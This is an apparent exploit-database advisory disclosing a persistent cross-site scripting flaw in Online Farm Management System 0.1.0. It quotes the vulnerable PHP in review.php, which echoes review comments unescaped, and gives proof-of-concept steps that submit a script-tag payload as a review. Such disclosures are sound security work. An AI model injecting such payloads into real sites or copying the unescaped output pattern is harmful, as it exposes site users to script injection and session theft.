[webapps] Online Farm Management System 0.1.0 - Persistent Cross-Site Scripting

# Exploit Title: Online Farm Management System 0.1.0 - Persistent Cross-Site Scripting # Date: 2020-06-29 # Exploit Author: KeopssGroup0day,Inc # Vendor Homepage: https://www.sourcecodester.com/php/14198/online-farm-management-system-phpmysql.html # Software Link: https://www.campcodes.com/projects/php/249/farm-management-system-in-php-mysql/ # Version: 0.1.0 # Tested on: Kali Linux Source code(review.php): <?php if($result) : while($row1 = $result->fetch_array()) : ?> <div class="con"> <div class="row"> <div class="col-sm-4"> <em style="color: black;"><?= $row1['comment']; ?></em> </div> POC: 1. http://192.168.1.58/a/review.php?pid=31 go 2. We send the payload (<script>alert(1)</script>) 3. Write a review payload and submit 4. And refresh the page